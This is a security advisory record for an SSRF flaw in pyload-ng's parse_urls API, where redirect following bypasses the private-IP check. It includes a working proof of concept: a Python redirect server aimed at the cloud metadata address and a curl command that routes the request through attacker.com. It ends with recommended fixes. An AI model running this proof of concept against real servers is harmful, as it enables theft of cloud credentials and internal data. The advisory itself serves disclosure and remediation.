{"id":"CVE-2026-46561","aliases":["PYSEC-2026-2991"],"url":"https://o3.security/vulnerability/CVE-2026-46561","summary":"pyload-ng: SSRF via HTTP Redirect Bypass in parse_urls API","details":"## Summary\n\nThe SSRF mitigation added in commit `33c55da` for GHSA-7gvf-3w72-p2pg is incomplete. The `PREREQFUNCTION`-based private IP check was correctly applied to `HTTPChunk` (download path) but not to `HTTPRequest` (used by the `parse_urls` API). An authenticated attacker can supply a URL pointing to an attacker-controlled server that responds with a 302 redirect to an internal/private IP address, bypassing the `is_global_host()` check on the initial URL.\n\n## Details\n\nThe `parse_urls` API method validates the initial URL hostname:\n\n```python\n# src/pyload/core/api/__init__.py:600-604\nif url:\n    urlp = urlparse(url)\n    hostname = urlp.hostname\n    if urlp.scheme in (\"http\", \"https\") and hostname and is_global_host(hostname):\n        page = get_url(url)\n```\n\n`get_url()` is imported from `request_factory.py` and creates an `HTTPRequest` with default settings:\n\n```python\n# src/pyload/core/network/request_factory.py:58-64\ndef get_url(self, *args, **kwargs):\n    with HTTPRequest(None, self.get_options()) as h:\n        rep = h.load(*args, **kwargs)\n    return rep\n```\n\n`HTTPRequest.__init__` sets `allow_private_ip = True` by default:\n\n```python\n# src/pyload/core/network/http/http_request.py:75\nself.allow_private_ip = True\n```\n\nThe `init_handle()` method enables redirect following:\n\n```python\n# src/pyload/core/network/http/http_request.py:117-118\nself.c.setopt(pycurl.FOLLOWLOCATION, 1)\nself.c.setopt(pycurl.MAXREDIRS, 10)\n```\n\nThe `_pre_request_callback` that should block redirects to private IPs is a no-op when `allow_private_ip` is `True`:\n\n```python\n# src/pyload/core/network/http/http_request.py:574-582\ndef _pre_request_callback(self, conn_primary_ip, conn_local_ip, conn_primary_port, conn_local_port):\n    if not self.allow_private_ip and not is_global_address(conn_primary_ip):\n        return pycurl.PREREQFUNC_ABORT\n    return pycurl.PREREQFUNC_OK\n```\n\nThe fix at commit `33c55da` correctly set `allow_private_ip = False` in `HTTPChunk` (http_chunk.py:136) for the download path, but `HTTPRequest` used by `RequestFactory.get_url()` retains the default of `True`, leaving the `parse_urls` API unprotected against redirect-based SSRF.\n\n## PoC\n\n```bash\n# Step 1: Start a redirect server on attacker-controlled host\npython3 -c \"\nfrom http.server import BaseHTTPRequestHandler, HTTPServer\nclass H(BaseHTTPRequestHandler):\n    def do_GET(self):\n        self.send_response(302)\n        self.send_header('Location', 'http://169.254.169.254/latest/meta-data/')\n        self.end_headers()\nHTTPServer(('0.0.0.0', 8888), H).serve_forever()\n\"\n\n# Step 2: Authenticated user with ADD permission calls parse_urls\ncurl -X POST 'http://pyload-host:8000/api/parse_urls' \\\n  -H 'Cookie: session=<valid_session>' \\\n  -d 'url=http://attacker.com:8888/redirect'\n\n# Expected flow:\n# 1. is_global_host('attacker.com') -> True (passes validation)\n# 2. get_url() creates HTTPRequest with allow_private_ip=True\n# 3. pycurl fetches attacker.com:8888, receives 302 -> http://169.254.169.254/latest/meta-data/\n# 4. _pre_request_callback runs but skips check (allow_private_ip=True)\n# 5. pycurl follows redirect to cloud metadata endpoint\n# 6. Response body parsed by RE_URLMATCH, any URLs in metadata returned to attacker\n```\n\n## Impact\n\nAn authenticated attacker with ADD permission can perform SSRF against:\n\n- **Cloud metadata endpoints** (AWS IMDSv1 at `169.254.169.254`, GCP, Azure) — potentially leaking IAM credentials, instance metadata, and secrets\n- **Internal services** on private networks (e.g., `10.x.x.x`, `172.16.x.x`, `192.168.x.x`)\n- **Localhost services** (`127.0.0.1`) running on the pyload server\n\nData exfiltration is partially limited by the `RE_URLMATCH` regex filter (only URL-like strings from the response body are returned), but cloud metadata responses often contain URLs or URL-like paths that match this pattern. The `REDIR_PROTOCOLS` setting limits redirects to HTTP/HTTPS only.\n\n## Recommended Fix\n\nSet `allow_private_ip = False` in `RequestFactory.get_url()`:\n\n```python\n# src/pyload/core/network/request_factory.py\ndef get_url(self, *args, **kwargs):\n    with HTTPRequest(None, self.get_options()) as h:\n        h.allow_private_ip = False  # Prevent SSRF via redirects\n        rep = h.load(*args, **kwargs)\n    return rep\n```\n\nAlternatively, change the default in `HTTPRequest.__init__` to `False`:\n\n```python\n# src/pyload/core/network/http/http_request.py:75\nself.allow_private_ip = False\n```\n\nThe second approach is more defensive (secure by default), but may require auditing other callers that legitimately need to access private IPs. The first approach is the targeted fix.","published":"2026-05-21T19:54:32Z","modified":"2026-07-13T16:43:03.964409910Z","cvss":{"score":5,"severity":"MEDIUM","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:N/A:N"},"epss":{"score":0.00176,"percentile":0.0735,"asOf":"2026-08-18"},"cisaKev":null,"exploitsKnown":0,"affectedPackages":[{"ecosystem":"PyPI","name":"pyload-ng","fixedVersion":"0.5.0b3.dev100"}],"fix":null,"references":[{"type":"WEB","url":"https://github.com/pyload/pyload/security/advisories/GHSA-8rp3-xc6w-5qp5"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-46561"},{"type":"PACKAGE","url":"https://github.com/pyload/pyload"}],"provenance":{"sources":["OSV.dev","FIRST.org (EPSS)"],"lastVerified":"2026-07-13T16:43:03.964409910Z"}}